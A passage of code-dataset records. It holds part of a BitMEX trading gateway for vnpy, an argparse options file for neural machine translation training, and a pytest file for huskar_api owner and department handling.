date.replace('-', '')\n        tick.time = time.replace('Z', '')\n        tick.datetime = datetime.strptime(' '.join([tick.date, tick.time]), '%Y%m%d %H:%M:%S.%f')\n        self.gateway.onTick(tick)\n\n    #----------------------------------------------------------------------\n    def onDepth(self, d):\n        \"\"\"\"\"\"\n        symbol = d['symbol']\n        tick = self.tickDict.get(symbol, None)\n        if not tick:\n            return\n        \n        for n, buf in enumerate(d['bids'][:5]):\n            price, volume = buf\n            tick.__setattr__('bidPrice%s' %(n+1), price)\n            tick.__setattr__('bidVolume%s' %(n+1), volume)\n        \n        for n, buf in enumerate(d['asks'][:5]):\n            price, volume = buf\n            tick.__setattr__('askPrice%s' %(n+1), price)\n            tick.__setattr__('askVolume%s' %(n+1), volume)                \n        \n        date, time = str(d['timestamp']).split('T')\n        tick.date = date.replace('-', '')\n        tick.time = time.replace('Z', '')\n        tick.datetime = datetime.strptime(' '.join([tick.date, tick.time]), '%Y%m%d %H:%M:%S.%f')\n        \n        self.gateway.onTick(tick)\n    \n    #----------------------------------------------------------------------\n    def onTrade(self, d):\n        \"\"\"\"\"\"\n        if not d['lastQty']:\n            return\n        \n        tradeID = d['execID']\n        if tradeID in self.tradeSet:\n            return\n        self.tradeSet.add(tradeID)\n        \n        trade = VtTradeData()\n        trade.gatewayName = self.gatewayName\n        \n        trade.symbol = d['symbol']\n        trade.exchange = EXCHANGE_BITMEX\n        trade.vtSymbol = VN_SEPARATOR.join([trade.symbol, trade.gatewayName])\n        if d['clOrdID']:\n            orderID = d['clOrdID']\n        else:\n            orderID = d['orderID']\n        trade.orderID = orderID\n        trade.vtOrderID = VN_SEPARATOR.join([trade.gatewayName, trade.orderID])\n        \n        \n        trade.tradeID = tradeID\n        trade.vtTradeID = VN_SEPARATOR.join([trade.gatewayName, trade.tradeID])\n        \n        trade.direction = directionMapReverse[d['side']]\n        trade.price = d['lastPx']\n        trade.volume = d['lastQty']\n        trade.tradeTime = d['timestamp'].replace('-','').replace('T',' ').replace('Z','')\n        trade.tradeDatetime = datetime.strptime(trade.tradeTime, '%Y%m%d %H:%M:%S.%f')\n        \n        self.gateway.onTrade(trade)\n    \n    #----------------------------------------------------------------------\n    def onOrder(self, d):\n        \"\"\"\"\"\"\n        if 'ordStatus' not in d:\n            return\n        \n        sysID = d['orderID']\n        if sysID in self.orderDict:\n            order = self.orderDict[sysID]\n        else:\n            order = VtOrderData()\n            order.gatewayName = self.gatewayName\n            \n            order.symbol = d['symbol']\n            order.exchange = EXCHANGE_BITMEX\n            order.vtSymbol = VN_SEPARATOR.join([order.symbol, order.gatewayName])\n            \n            if d['clOrdID']:\n                orderID = d['clOrdID']\n            else:\n                orderID = sysID\n            order.orderID = orderID\n            order.vtOrderID = VN_SEPARATOR.join([self.gatewayName, order.orderID])\n            \n            order.direction = directionMapReverse[d['side']]\n            \n            if d['price']:\n                order.price = d['price']\n                \n            order.totalVolume = d['orderQty']\n            order.orderTime = d['timestamp'].replace('-','').replace('T',' ').replace('Z','')\n            order.orderDatetime = datetime.strptime(order.orderTime,\"%Y%m%d %H:%M:%S.%f\")\n    \n            self.orderDict[sysID] = order\n        \n        order.tradedVolume = d.get('cumQty', order.tradedVolume)\n        order.status = statusMapReverse.get(d['ordStatus'], STATUS_UNKNOWN)\n    \n        self.gateway.onOrder(order)        \n\n    #----------------------------------------------------------------------\n    def onPosition(self, d):\n        \"\"\"\"\"\"\n        pos = VtPositionData()\n        pos.gatewayName = self.gatewayName\n        \n        pos.symbol = d['symbol']\n        pos.exchange = EXCHANGE_BITMEX\n        pos.vtSymbol = VN_SEPARATOR.join([pos.symbol, pos.gatewayName])\n        \n        pos.direction = DIRECTION_NET\n        pos.vtPositionName = VN_SEPARATOR.join([pos.vtSymbol, pos.direction])\n        pos.position = d['currentQty']\n        pos.frozen = 0      # 期货没有冻结概念，会直接反向开仓\n        \n        self.gateway.onPosition(pos)        \n    \n    #----------------------------------------------------------------------\n    def onAccount(self, d):\n        \"\"\"\"\"\"\n        accoundID = str(d['account'])\n        \n        if accoundID in self.accountDict:\n            account = self.accountDict[accoundID]\n        else:\n            account = VtAccountData()\n            account.gatewayName = self.gatewayName\n        \n            account.accountID = accoundID\n            account.vtAccountID = VN_SEPARATOR.join([account.gatewayName, account.accountID])\n            \n            self.accountDict[accoundID] = account\n        \n        account.balance = d.get('marginBalance', account.balance)\n        account.available = d.get('availableMargin', account.available)\n        account.closeProfit = d.get('realisedPnl', account.closeProfit)\n        account.positionProfit = d.get('unrealisedPnl', account.positionProfit)\n        \n        self.gateway.onAccount(account)        \n\n    #----------------------------------------------------------------------\n    def onContract(self, d):\n        \"\"\"\"\"\"\n        if 'tickSize' not in d:\n            return\n        \n        contract = VtContractData()\n        contract.gatewayName = self.gatewayName\n        \n        contract.symbol = d['symbol']\n        contract.exchange = EXCHANGE_BITMEX\n        contract.vtSymbol = VN_SEPARATOR.join([contract.symbol, contract.gatewayName])\n        contract.name = contract.vtSymbol\n        contract.productClass = PRODUCT_FUTURES\n        contract.priceTick = d['tickSize']\n        contract.size = d['multiplier']\n\n        self.gateway.onContract(contract)        \n\n    #-----------------------------------------------------------------------\n    def onClose(self):\n        \"\"\"接口断开\"\"\"\n        self.gateway.connected = False\n        self.writeLog(u'Websocket API连接断开')\n\n\nclass BitmexCtaTemplate(CtaTemplate):\n    def setLeverage(self, symbol, leverage):\n        symbolName, gatewayName = symbol.split(VN_SEPARATOR)[-1]\n        gateway = self.engine.getGateway()\n        assert isinstance(gateway, BitmexGateway), \"只能对bitmex交易所的symbol调用setLeverage方法\" \n        return gateway.setLeverage(symbolName, leverage)\n\n    def getLeverage(self, symbol):\n        symbolName, gatewayName = symbol.split(VN_SEPARATOR)[-1]\n        gateway = self.engine.getGateway()\n        assert isinstance(gateway, BitmexGateway), \"只能对bitmex交易所的symbol调用getLeverage方法\" \n        return gateway.getLeverage(symbolName, leverage)\n\n#----------------------------------------------------------------------\ndef printDict(d):\n    \"\"\"\"\"\"\n    print('-' * 30)\n    l = d.keys()\n    l.sort()\n    for k in l:\n        print(k, d[k])\n    \n","repo_name":"xingetouzi/vnpy_fxdayu","sub_path":"vnpy/trader/gateway/bitmexGateway/bitmexGateway.py","file_name":"bitmexGateway.py","file_ext":"py","file_size_in_byte":22216,"program_lang":"python","lang":"en","doc_type":"code","stars":75,"dataset":"github-code","pt":"77"}
+{"seq_id":"18459139806","text":"import argparse\n\n\ndef make_parser(parser):\n    # Data options\n    parser.add_argument('-data', required=True,\n                        help='Path to the *-train.pt file from preprocess.py')\n    parser.add_argument('-data_format', required=False, default='raw',\n                        help='Default data format: raw')\n\n    parser.add_argument('-multi_dataset', action='store_true',\n                        help='Reading multiple datasets (sharing the same dictionary)')\n\n    parser.add_argument('-patch_vocab_multiplier', type=int, default=1,\n                        help='Pad vocab so that the size divides by this multiplier')\n    parser.add_argument('-src_align_right', action=\"store_true\",\n                        help=\"\"\"Aligning the source sentences to the right (default=left for Transformer)\"\"\")\n    parser.add_argument('-buffer_size', type=int, default=16,\n                        help='The iterator fills the data buffer with this size')\n    parser.add_argument('-num_workers', type=int, default=0,\n                        help='Number of extra workers for data fetching. 0=uses the main process. ')\n    parser.add_argument('-pin_memory', action=\"store_true\",\n                        help='The data loader pins memory into the GPU to reduce the bottleneck between GPU-CPU')\n    parser.add_argument('-memory_profiling', action=\"store_true\",\n                        help='Analyze memory consumption for the model')\n\n    parser.add_argument('-bayes_by_backprop', action='store_true',\n                        help=\"\"\"Using Bayes-By-Backprop models in training\"\"\")\n    parser.add_argument('-neg_log_sigma1', type=float, default=0,\n                        help='Coefficient for the KL divergence term')\n    parser.add_argument('-neg_log_sigma2', type=float, default=6,\n                        help='Coefficient for the KL divergence term')\n    parser.add_argument('-prior_pi', type=float, default=0.5,\n                        help='Coefficient for the KL divergence term')\n\n    # MODEL UTIL\n    parser.add_argument('-save_model', default='model',\n                        help=\"\"\"Model filename (the model will be saved as\n                        <save_model>_epochN_PPL.pt where PPL is the\n                        validation perplexity\"\"\")\n    parser.add_argument('-backend', type=str, default='pytorch',\n                        help=\"\"\"Distributed parallel default\"\"\")\n    parser.add_argument('-load_from', default='', type=str,\n                        help=\"\"\"If training from a checkpoint then this is the\n                        path to the pretrained model.\"\"\")\n    parser.add_argument('-load_encoder_from', default='', type=str,\n                        help=\"\"\"Load encoder weight from a pretrained model.\"\"\")\n    parser.add_argument('-load_decoder_from', default='', type=str,\n                        help=\"\"\"Load encoder weight from a pretrained model.\"\"\")\n    parser.add_argument('-streaming', action='store_true',\n                        help=\"\"\"Using streaming in training\"\"\")\n    parser.add_argument('-stream_context', default='global', type=str,\n                        help=\"\"\"Using streaming in training\"\"\")\n\n    # MODEL CONFIG\n    parser.add_argument('-model', default='transformer',\n                        help=\"Translation model. [transformer|relative_transformer  ]\")\n    parser.add_argument('-layers', type=int, default=2,\n                        help='Number of layers in the Transformer encoder/decoder')\n    parser.add_argument('-encoder_layers', type=int, default=-1,\n                        help='Number of layers in the LSTM encoder if different')\n    parser.add_argument('-max_pos_length', type=int, default=128,\n                        help='Maximum distance length for relative self-attention')\n    parser.add_argument('-learnable_position_encoding', action='store_true',\n                        help=\"\"\"Use embeddings as learnable position encoding.\"\"\")\n    parser.add_argument('-fix_norm_output_embedding', action='store_true',\n                        help=\"\"\"Normalize the output embedding\"\"\")\n\n    parser.add_argument('-asynchronous', action='store_true',\n                        help=\"\"\"Different attention values for past and future\"\"\")\n    parser.add_argument('-nce_noise', type=int, default=0,\n                        help=\"\"\"Use noise contrastive estimation for the output layer. \n                        Default=0 (full softmax), increase to 100 to use 100 noise samples.\"\"\")\n    parser.add_argument('-unidirectional', action='store_true',\n                        help=\"\"\"Unidirectional encoder\"\"\")\n    parser.add_argument('-reconstruct', action='store_true',\n                        help='Apply reconstruction with an additional decoder')\n    parser.add_argument('-mirror_loss', action='store_true',\n                        help='Using mirror loss')\n\n    parser.add_argument('-universal', action='store_true',\n                        help='Using one layer universally (recurrent)')\n    parser.add_argument('-act', action='store_true',\n                        help='Using ACT for Universal models (TODO)')\n\n    # Transforer Model options\n    parser.add_argument('-use_language_embedding', action='store_true',\n                        help=\"\"\"Language embedding to add into the word embeddings\"\"\")\n    parser.add_argument('-language_embedding_type', default='sum', type=str,\n                        help=\"\"\"Language embedding combination type: sum|concat. (Concat uses more parameters)\"\"\")\n    parser.add_argument('-model_size', type=int, default=512,\n                        help='Size of embedding / transformer hidden')\n    parser.add_argument('-inner_size', type=int, default=2048,\n                        help='Size of inner feed forward layer')\n    parser.add_argument('-attribute_size', type=int, default=1,\n                        help='Number of attributes')\n    parser.add_argument('-n_heads', type=int, default=8,\n                        help='Number of heads for multi-head attention')\n    parser.add_argument('-checkpointing', type=int, default=0,\n                        help='Number of checkpointed layers in the Transformer')\n    parser.add_argument('-attn_dropout', type=float, default=0.1,\n                        help='Dropout probability; applied on multi-head attention.')\n    parser.add_argument('-emb_dropout', type=float, default=0.1,\n                        help='Dropout probability; applied on top of embedding.')\n    parser.add_argument('-variational_dropout', action='store_true',\n                        help='Apply variational dropout (same network per timestep)')\n    parser.add_argument('-weight_norm', action='store_true',\n                        help='Apply weight normalization on linear modules')\n    parser.add_argument('-death_rate', type=float, default=0.0,\n                        help='Stochastic layer death rate')\n    parser.add_argument('-activation_layer', default='linear_relu_linear', type=str,\n                        help='The activation layer in each transformer block '\n                             'linear_relu_linear|linear_swish_linear|maxout')\n    parser.add_argument('-time', default='positional_encoding', type=str,\n                        help='Type of time representation positional_encoding|gru|lstm')\n    parser.add_argument('-version', type=float, default=1.0,\n                        help='Deprecated.')\n    parser.add_argument('-residual_type', default='regular',\n                        help='Type of residual type. regular|gated')\n    parser.add_argument('-adaptive', type=str, default='shared',\n                        help='Universal adaptive layer. universal=UniversalTF|shared=factorized|unshared')\n    # Optimization options\n    parser.add_argument('-encoder_type', default='text',\n                        help=\"Type of encoder to use. Options are [text|img].\")\n    parser.add_argument('-input_size', type=int, default=2048,\n                        help='Size of input features')\n    parser.add_argument('-init', default='normal',\n                        help=\"How to init the weight. normal or uniform/xavier.\")\n    parser.add_argument('-init_embedding', default='normal',\n                        help=\"How to init the embedding matrices. Xavier or Normal.\")\n    parser.add_argument('-batch_size_words', type=int, default=2048,\n                        help='Maximum batch size in word dimension')\n    parser.add_argument('-batch_size_sents', type=int, default=128,\n                        help='Maximum number of sentences in a batch')\n\n    parser.add_argument('-batch_size_update', type=int, default=-1,\n                        help='Maximum number of words per update')\n    parser.add_argument('-update_frequency', type=int, default=1,\n                        help='Maximum number of batches per update (will override the batch_size_update')\n    parser.add_argument('-batch_size_multiplier', type=int, default=1,\n                        help='Maximum number of words per update')\n    parser.add_argument('-max_position_length', type=int, default=1024,\n                        help='Maximum length for positional embedding')\n    parser.add_argument('-max_memory_size', type=int, default=1024,\n                        help='Maximum memory size for buffering in transformer XL')\n    parser.add_argument('-extra_context_size', type=int, default=32,\n                        help='Extra context size in transformer Xl')\n    parser.add_argument('-epochs', type=int, default=13,\n                        help='Number of training epochs')\n    parser.add_argument('-param_init', type=float, default=0.1,\n                        help=\"\"\"Parameters are initialized over uniform distribution\n                        with support (-param_init, param_init)\"\"\")\n    parser.add_argument('-optim', default='adam',\n                        help=\"Optimization method. [sgd|adagrad|adadelta|adam]\")\n    parser.add_argument('-max_grad_norm', type=float, default=0,\n                        help=\"\"\"If the norm of the gradient vector exceeds this,\n                        renormalize it to have the norm equal to max_grad_norm\"\"\")\n\n    # Dropout\n    parser.add_argument('-dropout', type=float, default=0.3,\n                        help='Dropout probability; applied between LSTM stacks.')\n    parser.add_argument('-word_dropout', type=float, default=0.0,\n                        help='Dropout probability; applied on embedding indices.')\n    parser.add_argument('-switchout', type=float, default=0.0,\n                        help='Switchout algorithm')\n\n    # Loss function\n    parser.add_argument('-label_smoothing', type=float, default=0.0,\n                        help='Label smoothing value for loss functions.')\n    parser.add_argument('-scheduled_sampling_rate', type=float, default=0.0,\n                        help='Scheduled sampling rate.')\n\n    parser.add_argument('-curriculum', type=int, default=-1,\n                        help=\"\"\"For this many epochs, order the minibatches based\n                        on source sequence length. Sometimes setting this to 1 will\n                        increase convergence speed.\"\"\")\n    parser.add_argument('-normalize_gradient', action=\"store_true\",\n                        help=\"\"\"Normalize the gradients by number of tokens before updates\"\"\")\n    # learning rate\n    parser.add_argument('-learning_rate', type=float, default=1.0,\n                        help=\"\"\"Starting learning rate. If adagrad/adadelta/adam is\n                        used, then this is the global learning rate. Recommended\n                        settings: sgd = 1, adagrad = 0.1,\n                        adadelta = 1, adam = 0.001\"\"\")\n    parser.add_argument('-learning_rate_decay', type=float, default=1,\n                        help=\"\"\"If update_learning_rate, decay learning rate by\n                        this much if (i) perplexity does not decrease on the\n                        validation set or (ii) epoch has gone past\n                        start_decay_at\"\"\")\n    parser.add_argument('-start_decay_at', type=int, default=99999,\n                        help=\"\"\"Start decaying every epoch after and including this\n                        epoch\"\"\")\n    parser.add_argument('-warmup_steps', type=int, default=4096,\n                        help=\"\"\"Number of steps to increase the lr in noam\"\"\")\n    parser.add_argument('-max_steps', type=int, default=100000,\n                        help=\"\"\"Number of steps to train the model\"\"\")\n    parser.add_argument('-starting_step', type=int, default=-1,\n                        help=\"\"\"Override the steps in the optim to this step\"\"\")\n    parser.add_argument('-noam_step_interval', type=int, default=1,\n                        help=\"\"\"How many steps before updating the parameters\"\"\")\n    parser.add_argument('-max_step', type=int, default=40000,\n                        help=\"\"\"How many steps before updating the parameters\"\"\")\n    parser.add_argument('-reset_optim', action='store_true',\n                        help='Reset the optimizer running variables')\n    parser.add_argument('-beta1', type=float, default=0.9,\n                        help=\"\"\"beta_1 value for adam\"\"\")\n    parser.add_argument('-beta2', type=float, default=0.98,\n                        help=\"\"\"beta_2 value for adam\"\"\")\n    parser.add_argument('-weight_decay', type=float, default=0.0,\n                        help=\"\"\"weight decay (L2 penalty)\"\"\")\n    parser.add_argument('-amsgrad', action='store_true',\n                        help='Using AMSGRad for adam')\n    parser.add_argument('-update_method', default='regular',\n                        help=\"Type of update rule to use. Options are [regular|noam].\")\n    # pretrained word vectors\n    parser.add_argument('-tie_weights', action='store_true',\n                        help='Tie the weights of the encoder and decoder layer')\n    parser.add_argument('-experimental', action='store_true',\n                        help='Set the model into the experimental mode (trying unverified features)')\n    parser.add_argument('-join_embedding', action='store_true',\n                        help='Jointly train the embedding of encoder and decoder in one weight')\n    parser.add_argument('-add_position_encoding', action='store_true',\n                        help='Adding pos encodings to embedding (like Transformer)')\n    parser.add_argument('-batch_ensemble', type=int, default=0,\n                        help='To use batch ensemble algorithm')\n\n    # GPU\n    parser.add_argument('-gpus', default=[], nargs='+', type=int,\n                        help=\"Use CUDA on the listed devices.\")\n    parser.add_argument('-fp16', action='store_true',\n                        help='Use half precision training')\n    parser.add_argument('-fp16_mixed', action='store_true',\n                        help='Use mixed half precision training. fp16 must be enabled.')\n    parser.add_argument('-seed', default=-1, type=int,\n                        help=\"Seed for deterministic runs.\")\n\n    parser.add_argument('-log_interval', type=int, default=100,\n                        help=\"Print stats at this interval.\")\n    parser.add_argument('-save_every', type=int, default=-1,\n                        help=\"Save every this interval.\")\n    parser.add_argument('-keep_save_files', type=int, default=5,\n                        help=\"Save every this interval.\")\n    parser.add_argument('-copy_generator', action='store_true',\n                        help='Use the copy_generator')\n    parser.add_argument('-verbose', action='store_true',\n                        help='Show more information about training (for Nerds)')\n    # FAST IMPLEMENTATION\n    parser.add_argument('-fast_xentropy', action=\"store_true\",\n                        help=\"\"\"Fast cross entropy loss\"\"\")\n    parser.add_argument('-fast_xattention', action=\"store_true\",\n                        help=\"\"\"Fast cross attention between encoder decoder\"\"\")\n    parser.add_argument('-fast_self_attention', action=\"store_true\",\n                        help=\"\"\"Fast self attention between encoder decoder\"\"\")\n    parser.add_argument('-fast_feed_forward', action=\"store_true\",\n                        help=\"\"\"Fast cross attention between encoder decoder\"\"\")\n    parser.add_argument('-macaron', action='store_true',\n                        help='Macaron style network with 2 FFN per block.')\n    parser.add_argument('-fused_ffn', action=\"store_true\",\n                        help=\"\"\"Fast feedforward\"\"\")\n\n    # for FUSION\n    parser.add_argument('-lm_checkpoint', default='', type=str,\n                        help=\"\"\"If training from a checkpoint then this is the\n                            path to the pretrained model.\"\"\")\n    parser.add_argument('-fusion', action='store_true',\n                        help='Use fusion training with language model')\n    parser.add_argument('-lm_seq_length', type=int, default=128,\n                        help='Sequence length for the language model')\n\n    # for Speech\n    parser.add_argument('-reshape_speech', type=int, default=0,\n                        help=\"Reshaping the speech data (0 is ignored, done at preprocessing).\")\n    parser.add_argument('-concat', type=int, default=4,\n                        help=\"Concatenate frames to downsample.\")\n    parser.add_argument('-input_feature_size', type=int, default=40,\n                        help=\"Input feature size.\")\n    parser.add_argument('-augment_speech', action='store_true',\n                        help='Use f/t augmentation for speech')\n    parser.add_argument('-upsampling', action='store_true',\n                        help='In case the data is downsampled during preprocess. This option will upsample the '\n                             'samples again')\n    parser.add_argument('-cnn_downsampling', action='store_true',\n                        help='Use CNN for downsampling instead of reshaping')\n    parser.add_argument('-zero_encoder', action='store_true',\n                        help='Zero-out encoders during training')\n    parser.add_argument('-ctc_loss', type=float, default=0.0,\n                        help='CTC Loss as additional loss function with this weight')\n    parser.add_argument('-override_ctc_loss', type=float, default=-1,\n                        help='CTC Loss as additional loss function with this weight')\n    parser.add_argument('-lfv_multilingual', action='store_true',\n                        help='Use multilingual language identifier to get LFV for each language')\n    parser.add_argument('-bottleneck_size', type=int, default=64,\n                        help=\"Bottleneck size for the LFV vector).\")\n    parser.add_argument('-conv_kernel', type=int, default=31,\n                        help=\"Kernels for convolution in conformer).\")\n    parser.add_argument('-no_batch_norm', action='store_true',\n                        help=\"Remove Batch Norm to avoid NaN errors that can happen with spec augmentation.).\")\n    parser.add_argument('-depthwise_conv', action='store_true',\n                        help='Use depthwise convolution in the encoder block')\n    parser.add_argument('-no_ffn', action='store_true',\n                        help='No feedforward network in the speech encoder')\n\n    parser.add_argument('-multilingual_factorized_weights', action='store_true',\n                        help='Factorize the weights in the model for multilingual')\n    parser.add_argument('-mfw_rank', type=int, default=1,\n                        help=\"Rank of the mfw vectors.\")\n    parser.add_argument('-mfw_multiplicative', action='store_true',\n                        help='Use another multiplicative weights W = W^ * M + A')\n    parser.add_argument('-mfw_activation', type=str, default=\"none\",\n                        help=\"Using activation function for the MFW so  W = f(W^ * M + A'). \"\n                             \"Currently accepting gelu/silu\")\n    parser.add_argument('-mfw_normalize', action='store_true',\n                        help='normalize W = W^ * M + A in the weight normalization style')\n\n    parser.add_argument('-multilingual_partitioned_weights', action='store_true',\n                        help='Partition the weights in the multilingual models')\n    parser.add_argument('-mpw_factor_size', type=int, default=8,\n                        help=\"Size of the language factor vector\")\n    parser.add_argument('-multilingual_layer_norm', action='store_true',\n                        help='New norm for each language')\n    parser.add_argument('-multilingual_linear_projection', action='store_true',\n                        help='New linear projection for each language')\n    parser.add_argument('-sub_encoder', type=int, default=4,\n                        help='New linear projection for each language')\n    parser.add_argument('-weight_drop', type=float, default=0.0,\n                        help='dropout rate for the main weights of the MFW model')\n    parser.add_argument('-multilingual_adapter', action='store_true',\n                        help='New norm for each language')\n    parser.add_argument('-adapter_bottleneck_size', type=int, default=1024,\n                        help='New norm for each language')\n    parser.add_argument('-multi_embedding', action='store_true',\n                        help='New embedding / output layer for each layer')\n\n    # for Reformer\n    # parser.add_argument('-lsh_src_attention', action='store_true',\n    #                     help='Using LSH for source attention')\n    # parser.add_argument('-chunk_length', type=int, default=32,\n    #                     help=\"Length of chunk which attends to itself in LSHSelfAttention.\")\n    # parser.add_argument('-lsh_num_chunks_after', type=int, default=0,\n    #                     help=\"Length of chunk which attends to itself in LSHSelfAttention.\")\n    # parser.add_argument('-lsh_num_chunks_before', type=int, default=1,\n    #                     help=\"Length of chunk which attends to itself in LSHSelfAttention.\")\n    # parser.add_argument('-num_hashes', type=int, default=4,\n    #                     help=\"Number of hasing rounds.\")\n\n    # for Reversible Transformer\n    parser.add_argument('-src_reversible', action='store_true',\n                        help='Using reversible models for encoder')\n    parser.add_argument('-tgt_reversible', action='store_true',\n                        help='Using reversible models for decoder')\n\n    parser.add_argument('-debugging', action='store_true',\n                        help='Using reversible models for decoder')\n    parser.add_argument('-master_addr', default='localhost', type=str,\n                        help=\"\"\"\"\"\")\n    parser.add_argument('-master_port', default='8888', type=str,\n                        help=\"\"\"\"\"\")\n    return parser\n\n\ndef backward_compatible(opt):\n    # FOR BACKWARD COMPATIBILITY\n\n    if not hasattr(opt, 'model'):\n        opt.model = 'recurrent'\n\n    if not hasattr(opt, 'layer_norm'):\n        opt.layer_norm = 'slow'\n\n    if not hasattr(opt, 'attention_out'):\n        opt.attention_out = 'default'\n\n    if not hasattr(opt, 'residual_type'):\n        opt.residual_type = 'regular'\n\n    if not hasattr(opt, 'input_size'):\n        opt.input_size = 40\n\n    if not hasattr(opt, 'init_embedding'):\n        opt.init_embedding = 'normal'\n\n    if not hasattr(opt, 'ctc_loss'):\n        opt.ctc_loss = 0\n\n    if not hasattr(opt, 'encoder_layers'):\n        opt.encoder_layers = -1\n\n    if not hasattr(opt, 'fusion'):\n        opt.fusion = False\n\n    if not hasattr(opt, 'cnn_downsampling'):\n        opt.cnn_downsampling = False\n\n    if not hasattr(opt, 'switchout'):\n        opt.switchout = 0.0\n\n    if not hasattr(opt, 'variational_dropout'):\n        opt.variational_dropout = False\n\n    if not hasattr(opt, 'copy_generator'):\n        opt.copy_generator = False\n\n    if not hasattr(opt, 'upsampling'):\n        opt.upsampling = False\n\n    if not hasattr(opt, 'double_position'):\n        opt.double_position = False\n\n    if not hasattr(opt, 'max_pos_length'):\n        opt.max_pos_length = 0\n\n    if not hasattr(opt, 'learnable_position_encoding'):\n        opt.learnable_position_encoding = False\n\n    if not hasattr(opt, 'use_language_embedding'):\n        opt.use_language_embedding = False\n\n    if not hasattr(opt, 'language_embedding_type'):\n        opt.language_embedding_type = \"sum\"\n\n    if not hasattr(opt, 'asynchronous'):\n        opt.asynchronous = False\n\n    if not hasattr(opt, 'bidirectional'):\n        opt.bidirectional = False\n\n    if not hasattr(opt, 'fix_norm_output_embedding'):\n        opt.fix_norm_output_embedding = False\n\n    if not hasattr(opt, 'mirror_loss'):\n        opt.mirror_loss = False\n\n    if not hasattr(opt, 'max_memory_size'):\n        opt.max_memory_size = 0\n\n    if not hasattr(opt, 'stream_context'):\n        opt.stream_context = 'local'\n\n    if not hasattr(opt, 'extra_context_size'):\n        opt.extra_context_size = 0\n\n    if opt.model == 'relative_unified_transformer' and not opt.src_align_right:\n        print(\" !!! Warning: model %s requires source sentences aligned to the right (-src_align_right)\" % opt.model)\n\n    if not hasattr(opt, 'experimental'):\n        opt.experimental = False\n\n    if not hasattr(opt, 'reconstruct'):\n        opt.reconstruct = False\n\n    if not hasattr(opt, 'unidirectional'):\n        opt.unidirectional = False\n\n    if not hasattr(opt, 'lsh_src_attention'):\n        opt.lsh_src_attention = False\n\n    if not hasattr(opt, 'src_reversible'):\n        opt.src_reversible = False\n\n    if not hasattr(opt, 'tgt_reversible'):\n        opt.tgt_reversible = False\n\n    if not hasattr(opt, 'fast_xentropy'):\n        opt.fast_xentropy = False\n\n    if not hasattr(opt, 'fast_xattention'):\n        opt.fast_xattention = False\n\n    if not hasattr(opt, 'fast_self_attention'):\n        opt.fast_self_attention = False\n\n    if not hasattr(opt, 'fast_feed_forward'):\n        opt.fast_feed_forward = False\n\n    if not hasattr(opt, 'fused_ffn'):\n        opt.fused_ffn = False\n\n    if not hasattr(opt, 'concat'):\n        opt.concat = 4\n\n    if not hasattr(opt, 'input_feature_size'):\n        opt.input_feature_size = 40\n\n    if not hasattr(opt, 'bayes_by_backprop'):\n        opt.bayes_by_backprop = False\n\n    if not hasattr(opt, 'add_position_encoding'):\n        opt.add_position_encoding = False\n\n    if not hasattr(opt, 'batch_ensemble'):\n        opt.batch_ensemble = 0\n\n    if not hasattr(opt, 'multilingual_factorized_weights'):\n        opt.multilingual_factorized_weights = False\n\n    if not hasattr(opt, 'mfw_rank'):\n        opt.mfw_rank = 1\n\n    if not hasattr(opt, 'lfv_multilingual'):\n        opt.lfv_multilingual = False\n\n    if not hasattr(opt, 'nce_noise'):\n        opt.nce_noise = 0\n\n    if not hasattr(opt, 'mfw_multiplicative'):\n        opt.mfw_multiplicative = False\n\n    if not hasattr(opt, 'macaron'):\n        opt.macaron = False\n\n    if not hasattr(opt, 'depthwise_conv'):\n        opt.depthwise_conv = False\n\n    if not hasattr(opt, 'fused_ffn'):\n        opt.fused_ffn = False\n\n    if not hasattr(opt, 'no_batch_norm'):\n        opt.no_batch_norm = False\n\n    if not hasattr(opt, 'no_ffn'):\n        opt.no_ffn = False\n\n    if not hasattr(opt, 'multilingual_partitioned_weights'):\n        opt.multilingual_partitioned_weights = False\n\n    if not hasattr(opt, 'mpw_factor_size'):\n        opt.mpw_factor_size = 1\n\n    if not hasattr(opt, 'multilingual_layer_norm'):\n        opt.multilingual_layer_norm = False\n\n    if not hasattr(opt, 'multilingual_linear_projection'):\n        opt.multilingual_linear_projection = False\n\n    if not hasattr(opt, 'weight_drop'):\n        opt.weight_drop = 0.0\n\n    if not hasattr(opt, 'multilingual_adapter'):\n        opt.multilingual_adapter = False\n\n    if not hasattr(opt, 'adapter_bottleneck_size'):\n        opt.adapter_bottleneck_size = 0.0\n\n    if not hasattr(opt, 'mfw_activation'):\n        opt.mfw_activation = \"none\"\n\n    if not hasattr(opt, 'mfw_normalize'):\n        opt.mfw_normalize = False\n\n    if not hasattr(opt, 'multi_embedding'):\n        opt.multi_embedding = False\n\n    return opt\n","repo_name":"nlp-dke/NMTGMinor","sub_path":"options.py","file_name":"options.py","file_ext":"py","file_size_in_byte":27799,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"77"}
+{"seq_id":"18591027815","text":"from __future__ import absolute_import\n\nfrom huskar_api.extras.email import EmailDeliveryError\nfrom huskar_api.extras.auth import (\n    ensure_owners, AppInfo, Department, Owner, NameOccupiedError)\nfrom huskar_api.models.auth import User\n\n\ndef test_ensure_ensure_owners_send_mail_failed(mocker):\n    deliver_email = mocker.patch('huskar_api.extras.auth.deliver_email')\n    deliver_email.side_effect = EmailDeliveryError()\n\n    prefix = 'test_ensure_ensure_owners_send_mail_failed'\n    application_name = '{}_app'.format(prefix)\n    owner = Owner(\n            '{}_user'.format(prefix),\n            '{}_user@a.com'.format(prefix),\n            'owner',\n        )\n    department = Department(\n            '1', '{}_team'.format(prefix), '2', '{}_team'.format(prefix))\n    appinfo = AppInfo(\n        department=department,\n        application_name=application_name,\n        owners=[owner])\n\n    assert department.team_name == '{}-{}'.format(\n        department.parent_id, department.child_id)\n    assert department.team_desc == '{}-{}'.format(\n        department.parent_name, department.child_name)\n\n    assert len(list(ensure_owners(appinfo))) == 0\n\n    assert User.get_by_name('{}_user'.format(prefix)) is not None\n    deliver_email.assert_called_once()\n\n    mocker.patch.object(owner, 'ensure',\n                        mocker.MagicMock(side_effect=NameOccupiedError))\n    assert len(list(ensure_owners(appinfo))) == 0\n\n\ndef test_department():\n    parent_name = ''\n    child_name = '233_team_child'\n    department = Department(None, parent_name, 233, child_name)\n    assert department.team_name == '233'\n    assert department.team_desc == child_name\n    assert department.parent_name == parent_name\n","repo_name":"huskar-org/huskar","sub_path":"tests/test_extras/test_auth.py","file_name":"test_auth.py","file_ext":"py","file_size_in_byte":1695,"program_lang":"python","lang":"en","doc_type":"code","stars":57,"dataset":"github-code","pt":"77"}
